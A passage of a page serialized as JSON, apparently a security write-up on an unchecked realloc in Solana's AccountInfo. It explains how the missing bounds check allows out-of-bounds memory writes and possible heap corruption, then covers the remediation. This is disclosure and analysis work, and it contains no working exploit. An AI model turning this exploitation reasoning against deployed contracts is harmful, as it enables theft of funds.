",{"type":23,"tag":127,"props":13897,"children":13898},{},[13899],{"type":28,"value":13900},"pointer",{"type":28,"value":13902}," to the ",{"type":23,"tag":127,"props":13904,"children":13905},{},[13906],{"type":28,"value":13907},"slice reference",{"type":28,"value":13909},". From here, we turn the pointer into a ",{"type":23,"tag":64,"props":13911,"children":13913},{"className":13912},[],[13914],{"type":28,"value":13915},"*const u64",{"type":28,"value":13917}," pointer and then offset by 1 ",{"type":23,"tag":64,"props":13919,"children":13921},{"className":13920},[],[13922],{"type":28,"value":5521},{"type":28,"value":13924}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":13926,"children":13927},{},[13928,13930,13935,13937,13942,13944,13949,13951,13956,13958,13964],{"type":28,"value":13929},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":190,"props":13931,"children":13933},{"href":13932},"#Towards-safer-unsafe",[13934],{"type":28,"value":13602},{"type":28,"value":13936}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":64,"props":13938,"children":13940},{"className":13939},[],[13941],{"type":28,"value":5521},{"type":28,"value":13943}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":127,"props":13945,"children":13946},{},[13947],{"type":28,"value":13948},"reference",{"type":28,"value":13950}," (the ",{"type":23,"tag":64,"props":13952,"children":13954},{"className":13953},[],[13955],{"type":28,"value":12952},{"type":28,"value":13957},").So, what does ",{"type":23,"tag":64,"props":13959,"children":13961},{"className":13960},[],[13962],{"type":28,"value":13963},"&[T]",{"type":28,"value":13965}," look like in Rust?",{"type":23,"tag":24,"props":13967,"children":13968},{},[13969,13971,13978,13980,13993,13995,14001],{"type":28,"value":13970},"According to ",{"type":23,"tag":190,"props":13972,"children":13975},{"href":13973,"rel":13974},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[194],[13976],{"type":28,"value":13977},"the reference",{"type":28,"value":13979},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":190,"props":13981,"children":13984},{"href":13982,"rel":13983},"https://doc.rust-lang.org/reference/type-layout.html",[194],[13985,13987,13991],{"type":28,"value":13986},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":481,"props":13988,"children":13989},{},[13990],{"type":28,"value":7074},{"type":28,"value":13992}," we only document what is guaranteed today\"",{"type":28,"value":13994},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":64,"props":13996,"children":13998},{"className":13997},[],[13999],{"type":28,"value":14000},"rustc",{"type":28,"value":14002},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":435,"props":14004,"children":14007},{"className":14005,"code":14006,"language":661,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[14008],{"type":23,"tag":64,"props":14009,"children":14010},{"__ignoreMap":7},[14011,14019,14031,14048,14061],{"type":23,"tag":481,"props":14012,"children":14013},{"class":483,"line":484},[14014],{"type":23,"tag":481,"props":14015,"children":14016},{"style":488},[14017],{"type":28,"value":14018},"// C language\n",{"type":23,"tag":481,"props":14020,"children":14021},{"class":483,"line":351},[14022,14026],{"type":23,"tag":481,"props":14023,"children":14024},{"style":497},[14025],{"type":28,"value":6884},{"type":23,"tag":481,"props":14027,"children":14028},{"style":525},[14029],{"type":28,"value":14030}," slice_ref {\n",{"type":23,"tag":481,"props":14032,"children":14033},{"class":483,"line":531},[14034,14039,14043],{"type":23,"tag":481,"props":14035,"children":14036},{"style":497},[14037],{"type":28,"value":14038}," void",{"type":23,"tag":481,"props":14040,"children":14041},{"style":514},[14042],{"type":28,"value":2120},{"type":23,"tag":481,"props":14044,"children":14045},{"style":525},[14046],{"type":28,"value":14047}," ptr;\n",{"type":23,"tag":481,"props":14049,"children":14050},{"class":483,"line":567},[14051,14056],{"type":23,"tag":481,"props":14052,"children":14053},{"style":497},[14054],{"type":28,"value":14055}," size_t",{"type":23,"tag":481,"props":14057,"children":14058},{"style":525},[14059],{"type":28,"value":14060}," len;\n",{"type":23,"tag":481,"props":14062,"children":14063},{"class":483,"line":678},[14064],{"type":23,"tag":481,"props":14065,"children":14066},{"style":525},[14067],{"type":28,"value":14068},"};\n",{"type":23,"tag":24,"props":14070,"children":14071},{},[14072],{"type":28,"value":14073},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":73,"props":14075,"children":14076},{},[14077,14082,14100],{"type":23,"tag":77,"props":14078,"children":14079},{},[14080],{"type":28,"value":14081},"Slices are laid out in the precise manner described",{"type":23,"tag":77,"props":14083,"children":14084},{},[14085,14087,14093,14095],{"type":28,"value":14086},"Pointers and ",{"type":23,"tag":64,"props":14088,"children":14090},{"className":14089},[],[14091],{"type":28,"value":14092},"usize",{"type":28,"value":14094}," are the same width as ",{"type":23,"tag":64,"props":14096,"children":14098},{"className":14097},[],[14099],{"type":28,"value":5521},{"type":23,"tag":77,"props":14101,"children":14102},{},[14103,14105,14110],{"type":28,"value":14104},"The ",{"type":23,"tag":64,"props":14106,"children":14108},{"className":14107},[],[14109],{"type":28,"value":12993},{"type":28,"value":14111}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":14113,"children":14114},{},[14115,14117,14122,14124,14130,14132,14137,14139,14145,14147,14152,14154,14164],{"type":28,"value":14116},"Assumption #2 is ",{"type":23,"tag":127,"props":14118,"children":14119},{},[14120],{"type":28,"value":14121},"probably",{"type":28,"value":14123}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":64,"props":14125,"children":14127},{"className":14126},[],[14128],{"type":28,"value":14129},"borrow_mut",{"type":28,"value":14131}," of the ",{"type":23,"tag":64,"props":14133,"children":14135},{"className":14134},[],[14136],{"type":28,"value":12993},{"type":28,"value":14138}," (through ",{"type":23,"tag":64,"props":14140,"children":14142},{"className":14141},[],[14143],{"type":28,"value":14144},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":14146},"), and ",{"type":23,"tag":64,"props":14148,"children":14150},{"className":14149},[],[14151],{"type":28,"value":12993},{"type":28,"value":14153}," is not usable between multiple threads",{"type":23,"tag":12963,"props":14155,"children":14156},{},[14157],{"type":23,"tag":190,"props":14158,"children":14162},{"href":14159,"ariaDescribedBy":14160,"dataFootnoteRef":7,"id":14161},"#user-content-fn-sendsync",[12970],"user-content-fnref-sendsync",[14163],{"type":28,"value":637},{"type":28,"value":14165},", so we already have exclusive access.",{"type":23,"tag":24,"props":14167,"children":14168},{},[14169,14171,14175],{"type":28,"value":14170},"A few more ",{"type":23,"tag":127,"props":14172,"children":14173},{},[14174],{"type":28,"value":4585},{"type":28,"value":14176}," things of note, that could have gone badly but didn't:",{"type":23,"tag":14178,"props":14179,"children":14180},"ul",{},[14181,14223],{"type":23,"tag":77,"props":14182,"children":14183},{},[14184,14186,14192,14194,14199,14201,14206,14208,14213,14215,14221],{"type":28,"value":14185},"By reborrowing the pointer (the ",{"type":23,"tag":64,"props":14187,"children":14189},{"className":14188},[],[14190],{"type":28,"value":14191},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":14193},"), we've created a reference with an ",{"type":23,"tag":127,"props":14195,"children":14196},{},[14197],{"type":28,"value":14198},"unbounded lifetime",{"type":28,"value":14200},". Rust is free to infer ",{"type":23,"tag":127,"props":14202,"children":14203},{},[14204],{"type":28,"value":14205},"any",{"type":28,"value":14207}," lifetime for ",{"type":23,"tag":64,"props":14209,"children":14211},{"className":14210},[],[14212],{"type":28,"value":11437},{"type":28,"value":14214}," (including ",{"type":23,"tag":64,"props":14216,"children":14218},{"className":14217},[],[14219],{"type":28,"value":14220},"'static",{"type":28,"value":14222},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":77,"props":14224,"children":14225},{},[14226,14228,14234,14236,14241,14243,14248,14250,14255,14257,14262,14264,14269,14271,14276,14278,14284,14286,14291,14293,14298,14300,14305,14307,14312,14314,14319],{"type":28,"value":14227},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":64,"props":14229,"children":14231},{"className":14230},[],[14232],{"type":28,"value":14233},"RefMut",{"type":28,"value":14235}," returned from ",{"type":23,"tag":64,"props":14237,"children":14239},{"className":14238},[],[14240],{"type":28,"value":11362},{"type":28,"value":14242},", but the ",{"type":23,"tag":64,"props":14244,"children":14246},{"className":14245},[],[14247],{"type":28,"value":14233},{"type":28,"value":14249}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":64,"props":14251,"children":14253},{"className":14252},[],[14254],{"type":28,"value":11437},{"type":28,"value":14256}," a ",{"type":23,"tag":127,"props":14258,"children":14259},{},[14260],{"type":28,"value":14261},"mutable",{"type":28,"value":14263}," pointer to the ",{"type":23,"tag":64,"props":14265,"children":14267},{"className":14266},[],[14268],{"type":28,"value":12993},{"type":28,"value":14270},"'s data, but the ",{"type":23,"tag":64,"props":14272,"children":14274},{"className":14273},[],[14275],{"type":28,"value":12993},{"type":28,"value":14277}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":64,"props":14279,"children":14281},{"className":14280},[],[14282],{"type":28,"value":14283},"Mutex",{"type":28,"value":14285}," instead of a ",{"type":23,"tag":64,"props":14287,"children":14289},{"className":14288},[],[14290],{"type":28,"value":12993},{"type":28,"value":14292}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":64,"props":14294,"children":14296},{"className":14295},[],[14297],{"type":28,"value":11437},{"type":28,"value":14299}," and writing to it ",{"type":23,"tag":127,"props":14301,"children":14302},{},[14303],{"type":28,"value":14304},"and succeed",{"type":28,"value":14306},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":64,"props":14308,"children":14310},{"className":14309},[],[14311],{"type":28,"value":11437},{"type":28,"value":14313}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":64,"props":14315,"children":14317},{"className":14316},[],[14318],{"type":28,"value":1237},{"type":28,"value":14320}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":14322,"children":14323},{},[14324,14326,14331],{"type":28,"value":14325},"Ok, now that we've understood what the code is ",{"type":23,"tag":127,"props":14327,"children":14328},{},[14329],{"type":28,"value":14330},"trying",{"type":28,"value":14332}," to do, let's try to break it, shall we?",{"type":23,"tag":31,"props":14334,"children":14336},{"id":14335},"what-can-go-wrong",[14337],{"type":28,"value":14338},"What can go wrong?",{"type":23,"tag":7092,"props":14340,"children":14342},{"id":14341},"contracts",[14343],{"type":28,"value":14344},"Contracts",{"type":23,"tag":24,"props":14346,"children":14347},{},[14348,14350,14355,14357,14362,14364,14369,14371,14376],{"type":28,"value":14349},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":64,"props":14351,"children":14353},{"className":14352},[],[14354],{"type":28,"value":11126},{"type":28,"value":14356},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":64,"props":14358,"children":14360},{"className":14359},[],[14361],{"type":28,"value":11126},{"type":28,"value":14363}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":64,"props":14365,"children":14367},{"className":14366},[],[14368],{"type":28,"value":12782},{"type":28,"value":14370}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":64,"props":14372,"children":14374},{"className":14373},[],[14375],{"type":28,"value":1237},{"type":28,"value":14377}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":14379,"children":14380},{},[14381,14383,14390],{"type":28,"value":14382},"There is ",{"type":23,"tag":190,"props":14384,"children":14387},{"href":14385,"rel":14386},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[194],[14388],{"type":28,"value":14389},"a check",{"type":28,"value":14391}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":435,"props":14393,"children":14395},{"className":475,"code":14394,"language":474,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[14396],{"type":23,"tag":64,"props":14397,"children":14398},{"__ignoreMap":7},[14399,14437,14467,14474,14507],{"type":23,"tag":481,"props":14400,"children":14401},{"class":483,"line":484},[14402,14406,14411,14415,14419,14423,14427,14432],{"type":23,"tag":481,"props":14403,"children":14404},{"style":535},[14405],{"type":28,"value":13069},{"type":23,"tag":481,"props":14407,"children":14408},{"style":508},[14409],{"type":28,"value":14410}," post_len",{"type":23,"tag":481,"props":14412,"children":14413},{"style":514},[14414],{"type":28,"value":199},{"type":23,"tag":481,"props":14416,"children":14417},{"style":610},[14418],{"type":28,"value":11780},{"type":23,"tag":481,"props":14420,"children":14421},{"style":525},[14422],{"type":28,"value":618},{"type":23,"tag":481,"props":14424,"children":14425},{"style":514},[14426],{"type":28,"value":2120},{"type":23,"tag":481,"props":14428,"children":14429},{"style":508},[14430],{"type":28,"value":14431},"pre_len",{"type":23,"tag":481,"props":14433,"children":14434},{"style":525},[14435],{"type":28,"value":14436},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":481,"props":14438,"children":14439},{"class":483,"line":351},[14440,14445,14449,14453,14458,14462],{"type":23,"tag":481,"props":14441,"children":14442},{"style":514},[14443],{"type":28,"value":14444}," ||",{"type":23,"tag":481,"props":14446,"children":14447},{"style":508},[14448],{"type":28,"value":14410},{"type":23,"tag":481,"props":14450,"children":14451},{"style":514},[14452],{"type":28,"value":11682},{"type":23,"tag":481,"props":14454,"children":14455},{"style":525},[14456],{"type":28,"value":14457}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":481,"props":14459,"children":14460},{"style":497},[14461],{"type":28,"value":6322},{"type":23,"tag":481,"props":14463,"children":14464},{"style":943},[14465],{"type":28,"value":14466}," usize\n",{"type":23,"tag":481,"props":14468,"children":14469},{"class":483,"line":531},[14470],{"type":23,"tag":481,"props":14471,"children":14472},{"style":525},[14473],{"type":28,"value":8366},{"type":23,"tag":481,"props":14475,"children":14476},{"class":483,"line":567},[14477,14482,14486,14490,14494,14498,14503],{"type":23,"tag":481,"props":14478,"children":14479},{"style":535},[14480],{"type":28,"value":14481}," return",{"type":23,"tag":481,"props":14483,"children":14484},{"style":943},[14485],{"type":28,"value":13239},{"type":23,"tag":481,"props":14487,"children":14488},{"style":525},[14489],{"type":28,"value":618},{"type":23,"tag":481,"props":14491,"children":14492},{"style":943},[14493],{"type":28,"value":13248},{"type":23,"tag":481,"props":14495,"children":14496},{"style":514},[14497],{"type":28,"value":1006},{"type":23,"tag":481,"props":14499,"children":14500},{"style":943},[14501],{"type":28,"value":14502},"InvalidRealloc",{"type":23,"tag":481,"props":14504,"children":14505},{"style":525},[14506],{"type":28,"value":1366},{"type":23,"tag":481,"props":14508,"children":14509},{"class":483,"line":678},[14510],{"type":23,"tag":481,"props":14511,"children":14512},{"style":525},[14513],{"type":28,"value":1443},{"type":23,"tag":24,"props":14515,"children":14516},{},[14517,14519,14524,14526,14531],{"type":28,"value":14518},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":127,"props":14520,"children":14521},{},[14522],{"type":28,"value":14523},"finishes",{"type":28,"value":14525}," execution. ",{"type":23,"tag":127,"props":14527,"children":14528},{},[14529],{"type":28,"value":14530},"During",{"type":28,"value":14532}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":14534,"children":14535},{},[14536,14538,14543,14545,14550,14552,14559],{"type":28,"value":14537},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":127,"props":14539,"children":14540},{},[14541],{"type":28,"value":14542},"arbitrary",{"type":28,"value":14544}," memory access through a mistakenly-",{"type":23,"tag":64,"props":14546,"children":14548},{"className":14547},[],[14549],{"type":28,"value":11126},{"type":28,"value":14551},"'d account, this falls in the relm of some ",{"type":23,"tag":190,"props":14553,"children":14556},{"href":14554,"rel":14555},"https://en.wikipedia.org/wiki/Buffer_overflow",[194],[14557],{"type":28,"value":14558},"old-school pwning",{"type":28,"value":14560}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":7092,"props":14562,"children":14564},{"id":14563},"not-contracts",[14565],{"type":28,"value":14566},"Not-contracts?",{"type":23,"tag":24,"props":14568,"children":14569},{},[14570,14572,14577,14579,14589,14591,14603,14605,14612,14614,14619,14621,14626,14628,14641,14643,14648,14650,14655],{"type":28,"value":14571},"Remember when we said that all this code makes sense ",{"type":23,"tag":127,"props":14573,"children":14574},{},[14575],{"type":28,"value":14576},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":14578},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":190,"props":14580,"children":14583},{"href":14581,"rel":14582},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[194],[14584],{"type":23,"tag":64,"props":14585,"children":14587},{"className":14586},[],[14588],{"type":28,"value":12427},{"type":28,"value":14590}," are public, and so is its ",{"type":23,"tag":190,"props":14592,"children":14595},{"href":14593,"rel":14594},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[194],[14596,14601],{"type":23,"tag":64,"props":14597,"children":14599},{"className":14598},[],[14600],{"type":28,"value":12611},{"type":28,"value":14602}," method",{"type":28,"value":14604}," (which is ",{"type":23,"tag":190,"props":14606,"children":14609},{"href":14607,"rel":14608},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[194],[14610],{"type":28,"value":14611},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":14613},"). The ",{"type":23,"tag":64,"props":14615,"children":14617},{"className":14616},[],[14618],{"type":28,"value":11126},{"type":28,"value":14620}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":64,"props":14622,"children":14624},{"className":14623},[],[14625],{"type":28,"value":12427},{"type":28,"value":14627}," ourselves - potentially through the ",{"type":23,"tag":190,"props":14629,"children":14632},{"href":14630,"rel":14631},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[194],[14633,14639],{"type":23,"tag":64,"props":14634,"children":14636},{"className":14635},[],[14637],{"type":28,"value":14638},"Account",{"type":28,"value":14640}," trait",{"type":28,"value":14642},", which is hardly documented at all and makes ",{"type":23,"tag":127,"props":14644,"children":14645},{},[14646],{"type":28,"value":14647},"no",{"type":28,"value":14649}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":64,"props":14651,"children":14653},{"className":14652},[],[14654],{"type":28,"value":1237},{"type":28,"value":14656}," buffer.",{"type":23,"tag":24,"props":14658,"children":14659},{},[14660,14662,14673,14675,14681,14683,14689,14691,14704,14706,14711,14713,14718,14720,14725,14727,14732,14734,14739,14741,14746],{"type":28,"value":14661},"One long arm of this is ",{"type":23,"tag":190,"props":14663,"children":14666},{"href":14664,"rel":14665},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[194],[14667],{"type":23,"tag":64,"props":14668,"children":14670},{"className":14669},[],[14671],{"type":28,"value":14672},"solana_sdk::account::Account",{"type":28,"value":14674}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":64,"props":14676,"children":14678},{"className":14677},[],[14679],{"type":28,"value":14680},"Vec\u003Cu8>",{"type":28,"value":14682},", and it implements ",{"type":23,"tag":64,"props":14684,"children":14686},{"className":14685},[],[14687],{"type":28,"value":14688},"solana_program::account_info::Account",{"type":28,"value":14690}," (the trait from earlier) - by ",{"type":23,"tag":190,"props":14692,"children":14695},{"href":14693,"rel":14694},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[194],[14696,14698],{"type":28,"value":14697},"returning a reference to the contents of that ",{"type":23,"tag":64,"props":14699,"children":14701},{"className":14700},[],[14702],{"type":28,"value":14703},"Vec",{"type":28,"value":14705},". So, ",{"type":23,"tag":64,"props":14707,"children":14709},{"className":14708},[],[14710],{"type":28,"value":11126},{"type":28,"value":14712}," writes the size into the 8 bytes right before ",{"type":23,"tag":64,"props":14714,"children":14716},{"className":14715},[],[14717],{"type":28,"value":1237},{"type":28,"value":14719},"; ",{"type":23,"tag":64,"props":14721,"children":14723},{"className":14722},[],[14724],{"type":28,"value":1237},{"type":28,"value":14726}," is the buffer of a ",{"type":23,"tag":64,"props":14728,"children":14730},{"className":14729},[],[14731],{"type":28,"value":14703},{"type":28,"value":14733},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":64,"props":14735,"children":14737},{"className":14736},[],[14738],{"type":28,"value":12427},{"type":28,"value":14740}," out of an SDK ",{"type":23,"tag":64,"props":14742,"children":14744},{"className":14743},[],[14745],{"type":28,"value":14638},{"type":28,"value":14747}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":31,"props":14749,"children":14751},{"id":14750},"remediation",[14752],{"type":28,"value":14753},"Remediation",{"type":23,"tag":24,"props":14755,"children":14756},{},[14757],{"type":28,"value":14758},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":14760,"children":14761},{},[14762,14764,14769,14771,14776,14778,14789,14791,14796,14798,14805],{"type":28,"value":14763},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":64,"props":14765,"children":14767},{"className":14766},[],[14768],{"type":28,"value":12427},{"type":28,"value":14770},"... except for the fact that the layout of ",{"type":23,"tag":64,"props":14772,"children":14774},{"className":14773},[],[14775],{"type":28,"value":12427},{"type":28,"value":14777}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":12963,"props":14779,"children":14780},{},[14781],{"type":23,"tag":190,"props":14782,"children":14786},{"href":14783,"ariaDescribedBy":14784,"dataFootnoteRef":7,"id":14785},"#user-content-fn-layout",[12970],"user-content-fnref-layout",[14787],{"type":28,"value":14788},"3",{"type":28,"value":14790}," So, with changing ",{"type":23,"tag":64,"props":14792,"children":14794},{"className":14793},[],[14795],{"type":28,"value":12427},{"type":28,"value":14797}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":190,"props":14799,"children":14802},{"href":14800,"rel":14801},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[194],[14803],{"type":28,"value":14804},"this function",{"type":28,"value":287},{"type":23,"tag":435,"props":14807,"children":14809},{"className":475,"code":14808,"language":474,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[14810],{"type":23,"tag":64,"props":14811,"children":14812},{"__ignoreMap":7},[14813,14821,14829,14837,14845,14852,14860,14868,14916,14981,15047,15068],{"type":23,"tag":481,"props":14814,"children":14815},{"class":483,"line":484},[14816],{"type":23,"tag":481,"props":14817,"children":14818},{"style":488},[14819],{"type":28,"value":14820},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":481,"props":14822,"children":14823},{"class":483,"line":351},[14824],{"type":23,"tag":481,"props":14825,"children":14826},{"style":488},[14827],{"type":28,"value":14828},"/// current program invocation.\n",{"type":23,"tag":481,"props":14830,"children":14831},{"class":483,"line":531},[14832],{"type":23,"tag":481,"props":14833,"children":14834},{"style":488},[14835],{"type":28,"value":14836},"///\n",{"type":23,"tag":481,"props":14838,"children":14839},{"class":483,"line":567},[14840],{"type":23,"tag":481,"props":14841,"children":14842},{"style":488},[14843],{"type":28,"value":14844},"/// # Safety\n",{"type":23,"tag":481,"props":14846,"children":14847},{"class":483,"line":678},[14848],{"type":23,"tag":481,"props":14849,"children":14850},{"style":488},[14851],{"type":28,"value":14836},{"type":23,"tag":481,"props":14853,"children":14854},{"class":483,"line":784},[14855],{"type":23,"tag":481,"props":14856,"children":14857},{"style":488},[14858],{"type":28,"value":14859},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":481,"props":14861,"children":14862},{"class":483,"line":812},[14863],{"type":23,"tag":481,"props":14864,"children":14865},{"style":488},[14866],{"type":28,"value":14867},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":481,"props":14869,"children":14870},{"class":483,"line":825},[14871,14875,14879,14883,14888,14892,14896,14900,14904,14908,14912],{"type":23,"tag":481,"props":14872,"children":14873},{"style":497},[14874],{"type":28,"value":11178},{"type":23,"tag":481,"props":14876,"children":14877},{"style":497},[14878],{"type":28,"value":12078},{"type":23,"tag":481,"props":14880,"children":14881},{"style":497},[14882],{"type":28,"value":11183},{"type":23,"tag":481,"props":14884,"children":14885},{"style":610},[14886],{"type":28,"value":14887}," original_data_len",{"type":23,"tag":481,"props":14889,"children":14890},{"style":525},[14891],{"type":28,"value":618},{"type":23,"tag":481,"props":14893,"children":14894},{"style":514},[14895],{"type":28,"value":623},{"type":23,"tag":481,"props":14897,"children":14898},{"style":497},[14899],{"type":28,"value":11201},{"type":23,"tag":481,"props":14901,"children":14902},{"style":525},[14903],{"type":28,"value":598},{"type":23,"tag":481,"props":14905,"children":14906},{"style":514},[14907],{"type":28,"value":11245},{"type":23,"tag":481,"props":14909,"children":14910},{"style":943},[14911],{"type":28,"value":11219},{"type":23,"tag":481,"props":14913,"children":14914},{"style":525},[14915],{"type":28,"value":809},{"type":23,"tag":481,"props":14917,"children":14918},{"class":483,"line":843},[14919,14923,14928,14932,14936,14940,14945,14949,14953,14957,14961,14965,14969,14973,14977],{"type":23,"tag":481,"props":14920,"children":14921},{"style":497},[14922],{"type":28,"value":500},{"type":23,"tag":481,"props":14924,"children":14925},{"style":508},[14926],{"type":28,"value":14927}," key_ptr",{"type":23,"tag":481,"props":14929,"children":14930},{"style":514},[14931],{"type":28,"value":517},{"type":23,"tag":481,"props":14933,"children":14934},{"style":497},[14935],{"type":28,"value":11285},{"type":23,"tag":481,"props":14937,"children":14938},{"style":514},[14939],{"type":28,"value":199},{"type":23,"tag":481,"props":14941,"children":14942},{"style":525},[14943],{"type":28,"value":14944},"key ",{"type":23,"tag":481,"props":14946,"children":14947},{"style":497},[14948],{"type":28,"value":6322},{"type":23,"tag":481,"props":14950,"children":14951},{"style":514},[14952],{"type":28,"value":7301},{"type":23,"tag":481,"props":14954,"children":14955},{"style":497},[14956],{"type":28,"value":7139},{"type":23,"tag":481,"props":14958,"children":14959},{"style":508},[14960],{"type":28,"value":543},{"type":23,"tag":481,"props":14962,"children":14963},{"style":497},[14964],{"type":28,"value":6308},{"type":23,"tag":481,"props":14966,"children":14967},{"style":514},[14968],{"type":28,"value":7301},{"type":23,"tag":481,"props":14970,"children":14971},{"style":497},[14972],{"type":28,"value":7139},{"type":23,"tag":481,"props":14974,"children":14975},{"style":943},[14976],{"type":28,"value":12122},{"type":23,"tag":481,"props":14978,"children":14979},{"style":525},[14980],{"type":28,"value":528},{"type":23,"tag":481,"props":14982,"children":14983},{"class":483,"line":864},[14984,14988,14993,14997,15001,15005,15009,15013,15017,15022,15026,15030,15034,15038,15043],{"type":23,"tag":481,"props":14985,"children":14986},{"style":497},[14987],{"type":28,"value":500},{"type":23,"tag":481,"props":14989,"children":14990},{"style":508},[14991],{"type":28,"value":14992}," original_data_len_ptr",{"type":23,"tag":481,"props":14994,"children":14995},{"style":514},[14996],{"type":28,"value":517},{"type":23,"tag":481,"props":14998,"children":14999},{"style":508},[15000],{"type":28,"value":14927},{"type":23,"tag":481,"props":15002,"children":15003},{"style":514},[15004],{"type":28,"value":199},{"type":23,"tag":481,"props":15006,"children":15007},{"style":610},[15008],{"type":28,"value":11389},{"type":23,"tag":481,"props":15010,"children":15011},{"style":525},[15012],{"type":28,"value":618},{"type":23,"tag":481,"props":15014,"children":15015},{"style":514},[15016],{"type":28,"value":1876},{"type":23,"tag":481,"props":15018,"children":15019},{"style":551},[15020],{"type":28,"value":15021},"4",{"type":23,"tag":481,"props":15023,"children":15024},{"style":525},[15025],{"type":28,"value":598},{"type":23,"tag":481,"props":15027,"children":15028},{"style":497},[15029],{"type":28,"value":6322},{"type":23,"tag":481,"props":15031,"children":15032},{"style":514},[15033],{"type":28,"value":7301},{"type":23,"tag":481,"props":15035,"children":15036},{"style":497},[15037],{"type":28,"value":7139},{"type":23,"tag":481,"props":15039,"children":15040},{"style":943},[15041],{"type":28,"value":15042}," 